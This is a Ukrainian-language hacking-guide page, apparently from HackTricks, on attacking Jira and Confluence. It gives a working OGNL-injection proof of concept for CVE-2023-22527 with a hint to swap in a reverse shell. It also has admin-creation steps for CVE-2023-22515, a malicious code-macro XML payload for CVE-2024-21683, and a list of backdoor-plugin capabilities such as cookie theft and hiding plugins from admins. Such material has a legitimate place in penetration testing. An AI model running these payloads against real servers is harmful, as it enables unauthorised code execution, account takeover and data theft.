Jira & Confluence

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Перевірка привілеїв

У Jira привілеї можна перевірити будь-яким користувачем, авторизованим або ні, через кінцеві точки /rest/api/2/mypermissions або /rest/api/3/mypermissions. Ці кінцеві точки показують поточні привілеї користувача. Особливу увагу слід звернути, якщо неавторизовані користувачі мають привілеї, що вказує на вразливість безпеки, яка потенційно може підпадати під bounty. Аналогічно, неочікувані привілеї для авторизованих користувачів також вказують на вразливість.

Важливе оновлення було зроблено 1st February 2019, яке вимагає, щоб ‘mypermissions’ endpoint включав параметр ‘permission’. Ця вимога має на меті посилити безпеку шляхом уточнення привілеїв, які запитуються: check it here

  • ADD_COMMENTS
  • ADMINISTER
  • ADMINISTER_PROJECTS
  • ASSIGNABLE_USER
  • ASSIGN_ISSUES
  • BROWSE_PROJECTS
  • BULK_CHANGE
  • CLOSE_ISSUES
  • CREATE_ATTACHMENTS
  • CREATE_ISSUES
  • CREATE_PROJECT
  • CREATE_SHARED_OBJECTS
  • DELETE_ALL_ATTACHMENTS
  • DELETE_ALL_COMMENTS
  • DELETE_ALL_WORKLOGS
  • DELETE_ISSUES
  • DELETE_OWN_ATTACHMENTS
  • DELETE_OWN_COMMENTS
  • DELETE_OWN_WORKLOGS
  • EDIT_ALL_COMMENTS
  • EDIT_ALL_WORKLOGS
  • EDIT_ISSUES
  • EDIT_OWN_COMMENTS
  • EDIT_OWN_WORKLOGS
  • LINK_ISSUES
  • MANAGE_GROUP_FILTER_SUBSCRIPTIONS
  • MANAGE_SPRINTS_PERMISSION
  • MANAGE_WATCHERS
  • MODIFY_REPORTER
  • MOVE_ISSUES
  • RESOLVE_ISSUES
  • SCHEDULE_ISSUES
  • SET_ISSUE_SECURITY
  • SYSTEM_ADMIN
  • TRANSITION_ISSUES
  • USER_PICKER
  • VIEW_AGGREGATED_DATA
  • VIEW_DEV_TOOLS
  • VIEW_READONLY_WORKFLOW
  • VIEW_VOTERS_AND_WATCHERS
  • WORK_ON_ISSUES

Приклад: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS

#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'

Автоматизований збір інформації

Останні RCE та практичні нотатки щодо експлойтів (Confluence)

CVE-2023-22527 – неавторизована вразливість у шаблоні / OGNL injection (10.0)

  • Стосується Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5. Уразливий Velocity-шаблон text-inline.vm дозволяє виконувати OGNL evaluation без аутентифікації.
  • Швидкий PoC (команда виконується від імені користувача Confluence):
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
  • Заголовок відповіді x-cmd міститиме вивід команди. Замініть id на reverse shell payload.
  • Scanner: nuclei template http/cves/2023/CVE-2023-22527.yaml (включено в nuclei-templates ≥9.7.5).

CVE-2023-22515 – повторна активація setup і створення admin (auth bypass)

  • Публічно доступний Confluence Data Center/Server 8.0.0–8.5.1 дозволяє змінити setupComplete і повторно виконати /setup/setupadministrator.action для створення нового облікового запису admin.
  • Мінімальний сценарій експлуатації:
  1. GET /server-info.action (без автентифікації) для перевірки досяжності.
  2. POST /server-info.action з параметрами buildNumber для перемикання прапора setupComplete.
  3. POST /setup/setupadministrator.action з fullName, email, username, password, confirm для створення admin.

CVE-2024-21683 – authenticated RCE via Code Macro upload

  • Confluence Admin може завантажити спеціально підготовлене language definition у Configure Code Macro; Rhino engine виконує вбудований Java-код, що призводить до RCE.
  • Для shell завантажте файл .lang, що містить payload на кшталт:
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
  • Тригер: обрання шкідливої мови в тілі будь-якого Code Macro. Metasploit module exploit/multi/http/atlassian_confluence_rce_cve_2024_21683 автоматизує auth + upload + exec.

Atlasian Plugins

Як вказано в цьому blog, у документації про Plugin modules ↗ можна переглянути різні типи плагінів, такі як:

Це приклад плагіна типу Macro plugin:

Приклад Macro plugin ```java package com.atlassian.tutorial.macro;

import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;

import java.util.Map;

public class helloworld implements Macro {

public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(“Name”) != null) { return (“

Hello “ + map.get(“Name”) + “!

”); } else { return “

Hello World!

”; } }

public BodyType getBodyType() { return BodyType.NONE; }

public OutputType getOutputType() { return OutputType.BLOCK; } }

</details>

Можна помітити, що ці плагіни можуть бути вразливими до поширених веб-уразливостей, таких як XSS. Наприклад, попередній приклад вразливий, оскільки він відображає дані, введені користувачем.

Після виявлення XSS, у [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) можна знайти деякі payloads, щоб підвищити вплив XSS.

## Backdoor Plugin

[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) описує різні (malicious) дії, які може виконувати зловмисний Jira плагін. Ви можете знайти [**code example in this repo**](https://github.com/cyllective/malfluence).

These are some of the actions a malicious plugin could perform:

- **Hiding Plugins from Admins**: Можна приховати зловмисний плагін, інжектуючи деякий front-end javascript
- **Exfiltrating Attachments and Pages**: Дозволяє отримати доступ і exfiltrate всі дані.
- **Stealing Session Tokens**: Додати endpoint, який повертатиме заголовки у відповіді (з cookie), і деякий javascript, який зв'яжеться з ним і leak the cookies.
- **Command Execution**: Звісно, можна створити плагін, який виконуватиме код.
- **Reverse Shell**: Або отримати reverse shell.
- **DOM Proxying**: Якщо confluence знаходиться в приватній мережі, можна встановити з'єднання через браузер користувача з доступом до нього і, наприклад, контактувати з сервером та виконувати команди через нього.



## References

- [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A – Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> Вивчайте та практикуйте AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Вивчайте та практикуйте GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Вивчайте та практикуйте Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Підтримайте HackTricks</summary>
>
> - Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
> - **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
>
> </details>